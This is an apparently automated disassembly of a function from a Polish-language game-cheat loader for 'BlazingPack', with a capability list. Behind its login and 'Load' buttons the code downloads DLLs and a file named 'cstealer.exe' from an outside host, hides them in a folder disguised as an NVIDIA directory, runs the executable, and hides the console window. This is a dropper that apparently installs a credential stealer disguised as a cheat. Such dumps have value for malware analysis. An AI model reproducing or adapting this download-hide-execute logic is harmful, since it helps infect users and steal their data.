Function at 0x140004cb0
Capabilities:
Create thread
Delete file
Download url
Execute command
Hide graphical window
Receive data
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x68]
sub rsp, 0x160
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
mov rax, qword [0x14012b080]
xor rax, rsp
mov qword [rbp], rax
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140006762
mov ecx, dword [0x140171680]
xor edi, edi
xorps xmm6, xmm6
movss xmm10, dword [0x14011abb0]
movss xmm8, dword [0x14011ac50]
movss xmm9, dword [0x14011abbc]
test ecx, ecx
je 0x140004d31
cmp ecx, 1
je 0x1400052b7
jmp 0x140006762
lea rcx, str.C:NVIDIA57834857h3485h34345_siemalunarversion.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:NVIDIA57834857h3485h34345_siema_bpversion.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:NVIDIA57834857h3485h34345_siema_bpbetaversion.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movss xmm0, dword [0x140171370]
movss xmm1, dword [0x140171374]
mov rcx, qword [0x140172518]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm6
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x140171378]
movss xmm1, dword [0x14017137c]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], edi
movss xmm7, dword [0x140171378]
mulss xmm7, dword [0x14011ab0c]
mov r8d, 0x13a
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [0x1400cc374]
call fcn.140014990
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14011abdc]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14011ac0c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movaps xmm1, xmmword [0x14011adf0]
movups xmmword [rbp - 0x18], xmm1
mov dword [rbp - 0x78], 0x3f800000
mov dword [rbp - 0x74], 0x3f800000
mov qword [rsp + 0x68], rdi
mov dword [rsp + 0x40], 0x42340000
mov dword [rsp + 0x44], 0x42200000
lea rax, [rbp - 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x78]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1401724f8]
call fcn.14004ac90
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x44], 0x40a00000
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], dil
jne 0x140004f78
movss xmm2, dword [rax + 0x11c]
movaps xmm3, xmm2
addss xmm3, xmm10
movss xmm0, dword [rax + 0x118]
movaps xmm1, xmm0
addss xmm1, xmm6
movss dword [rsp + 0x68], xmm0
movss dword [rsp + 0x6c], xmm2
movss dword [rsp + 0x70], xmm1
movss dword [rsp + 0x74], xmm3
movaps xmm1, xmm8
lea rcx, [rsp + 0x40]
call fcn.1400194f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140019640
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
movaps xmm0, xmm7
subss xmm0, dword [0x14011abe4]
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [0x14017157f]
xor edx, edx
lea rcx, [0x1400cc3b8]
call fcn.14004e5f0
mov dword [rsp + 0x68], edi
mov dword [rsp + 0x6c], 0x40e00000
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], dil
jne 0x140005087
movss xmm2, dword [rax + 0x11c]
movaps xmm3, xmm2
addss xmm3, xmm9
movss xmm0, dword [rax + 0x118]
movaps xmm1, xmm0
addss xmm1, xmm6
movss dword [rbp - 0x78], xmm0
movss dword [rbp - 0x74], xmm2
movss dword [rbp - 0x70], xmm1
movss dword [rbp - 0x6c], xmm3
movaps xmm1, xmm8
lea rcx, [rsp + 0x68]
call fcn.1400194f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.140019640
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
movaps xmm0, xmm7
subss xmm0, xmm10
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov dword [rsp + 0x40], 0x43020000
mov dword [rsp + 0x44], 0x42000000
lea rdx, [rsp + 0x40]
lea rcx, str.Login
call fcn.140048da0
test al, al
je 0x140005113
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea r8, [0x1400049c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rbx, [0x140172838]
cmp byte [0x140172830], dil
jne 0x140005226
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x44], 0x40e00000
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], dil
jne 0x1400051b6
movss xmm2, dword [rax + 0x11c]
movaps xmm3, xmm2
addss xmm3, xmm9
movss xmm0, dword [rax + 0x118]
movaps xmm1, xmm0
addss xmm1, xmm6
movss dword [rsp + 0x68], xmm0
movss dword [rsp + 0x6c], xmm2
movss dword [rsp + 0x70], xmm1
movss dword [rsp + 0x74], xmm3
movaps xmm1, xmm8
lea rcx, [rsp + 0x40]
call fcn.1400194f0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140019640
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x50]
subss xmm1, dword [rax + 0x9c]
cvtps2pd xmm0, xmm7
subsd xmm0, qword [0x14011aba0]
cvtpd2ps xmm0, xmm0
addss xmm1, xmm0
movss dword [rax + 0x118], xmm1
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm1
movss dword [rax + 0x130], xmm0
mov rdx, rbx
cmp qword [0x140172850], 0x10
cmovae rdx, qword [0x140172838]
lea rcx, str.bledna_licencja_lub_jestes_zjebany
call fcn.140048480
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, dword [0x14011ac1c]
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], dil
jne 0x140005295
mov eax, dword [rax + 0x1f4]
neg eax
sbb ecx, ecx
add ecx, 6
call fcn.14004b0c0
cmp qword [0x140172850], 0x10
cmovae rbx, qword [0x140172838]
mov rcx, rbx
call fcn.140048480
call fcn.1400034a0
call fcn.140017c30
movss xmm0, dword [0x140171358]
movss xmm1, dword [0x14017135c]
mov rdx, qword [0x140172518]
mov eax, dword [rdx + 0x1dc0]
or eax, 1
mov dword [rdx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rdx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm6
movsd qword [rdx + 0x1ddc], xmm1
mov dword [rdx + 0x1dc4], 2
mov byte [rdx + 0x1dfc], 1
movss xmm0, dword [0x140171360]
movss xmm1, dword [0x140171364]
movss dword [rdx + 0x1de4], xmm0
movss dword [rdx + 0x1de8], xmm1
mov dword [rdx + 0x1dc8], 1
or eax, 0x42
mov dword [rdx + 0x1dc0], eax
mov dword [rdx + 0x1e20], edi
mov r8d, 0x13a
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [0x1400cc374]
call fcn.140014990
lea rdx, [0x1401716c8]
cmp qword [0x1401716e0], 0x10
cmovae rdx, qword [0x1401716c8]
lea rcx, str.Subscription_Expiry_:__s
call fcn.140048480
mov dword [rsp + 0x40], 0x43c80000
mov dword [rsp + 0x44], 0x43820000
lea rdx, [rsp + 0x40]
call fcn.140011ab0
test al, al
je 0x14000674e
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm10
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movaps xmm1, xmmword [0x14011adf0]
movups xmmword [rbp - 0x58], xmm1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x78], 0x42200000
mov dword [rbp - 0x74], 0x42200000
lea rax, [rbp - 0x18]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x78]
mov rcx, qword [0x1401724f0]
call fcn.14004ac90
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
lea rcx, str.Ta_wersja_jest_przeznaczona
call fcn.140048480
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
mov r8, qword [0x140172518]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14011abdc]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x14011abf0]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rcx, str.pod_paczke_BlazingPack.
call fcn.140048480
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140019910
mov r8, qword [0x140172518]
mov rax, qword [r8 + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [r8 + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm9
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
movss xmm7, dword [0x14011ac14]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x40], 0x43020000
mov dword [rsp + 0x44], 0x42000000
lea rdx, [rsp + 0x40]
lea rcx, str.Load
call fcn.140048da0
test al, al
je 0x140005a68
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], Ordinal_50
mov qword [rbp - 0x20], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siema_bpversion.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc658]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc668]
movups xmmword [rax + 0x20], xmm0
movzx eax, byte [0x1400cc678]
mov byte [rcx + 0x30], al
mov byte [rcx + 0x31], dil
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x46
mov qword [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_bpversion.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc740]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc750]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc760]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400cc770]
mov dword [rcx + 0x40], eax
movzx eax, word [0x1400cc774]
mov word [rcx + 0x44], ax
mov byte [rcx + 0x46], 0
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae r8, qword [rbp - 0x38]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 6
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov eax, dword [str.791017]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400cc5d4]
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x4e], 0
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x18]
lea rcx, [0x140172600]
call fcn.140061030
nop
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], Ordinal_50
mov qword [rbp - 0x80], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siemacstealer.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc788]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc798]
movups xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], 0x45
mov qword [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_cstealer.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc7c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc7d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc7e0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400cc7f0]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x1400cc7f4]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], 0
lea r8, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae r8, qword [rsp + 0x68]
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_siema
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.140003f40
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rcx, str.C:NVIDIA57834857h3485h34345_siemacstealer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.Zainjectowano_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007070
lea rdx, [0x140007240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140005922
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000591d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000591d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140005971
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000596c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000596c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x1400059cc
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400059bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x18], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x10], xmm0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140005a0a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005a58
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005a53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b9f64
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rcx, qword [0x140172518]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x14011abe8]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm7
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x40], 0x43020000
mov dword [rsp + 0x44], 0x41b00000
lea rdx, [rsp + 0x40]
lea rcx, str.Load_beta_version
call fcn.140048da0
test al, al
je 0x140005f97
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], Ordinal_60
mov qword [rbp - 0x60], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siema_bpbetaversion.dll]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc690]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc6a0]
movups xmmword [rax + 0x20], xmm0
mov eax, dword [0x1400cc6b0]
mov dword [rcx + 0x30], eax
movzx eax, byte [0x1400cc6b4]
mov byte [rcx + 0x34], al
mov byte [rcx + 0x35], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], Ordinal_79
mov qword [rbp - 0x80], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_bpbetaversion.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc860]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc870]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc880]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x1400cc890]
movsd qword [rax + 0x40], xmm0
movzx eax, word [0x1400cc898]
mov word [rcx + 0x48], ax
mov byte [rcx + 0x4a], 0
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r8, qword [rbp - 0x78]
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 6
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov eax, dword [str.791017]
mov dword [rsp + 0x48], eax
movzx eax, word [0x1400cc5d4]
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x4e], 0
lea r8, [rsp + 0x48]
lea rdx, [rbp - 0x18]
lea rcx, [0x140172600]
call fcn.140061030
nop
lea rcx, str.mkdir_C:NVIDIA57834857h3485h34345_siema_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400cc3f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov ecx, 0x40
call fcn.1400b9cd0
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], Ordinal_50
mov qword [rbp - 0x40], 0x3f
movups xmm0, xmmword [str.C:NVIDIA57834857h3485h34345_siemacstealer.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cc788]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400cc798]
movups xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.1400b9cd0
mov rcx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x45
mov qword [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__unnsense.cc_345834d5yj8yg8rwte8rygw7865436246869_cstealer.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400cc7c0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400cc7d0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400cc7e0]
movups xmmword [rax + 0x30], xmm1
mov eax, dword [0x1400cc7f0]
mov dword [rcx + 0x40], eax
movzx eax, byte [0x1400cc7f4]
mov byte [rcx + 0x44], al
mov byte [rcx + 0x45], 0
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae r8, qword [rbp - 0x58]
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, 2
lea rcx, str.C:NVIDIA57834857h3485h34345_siema
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.140003820
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rcx, str.C:NVIDIA57834857h3485h34345_siemacstealer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.Zainjectowano_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007070
lea rdx, [0x140007240]
mov rcx, rax
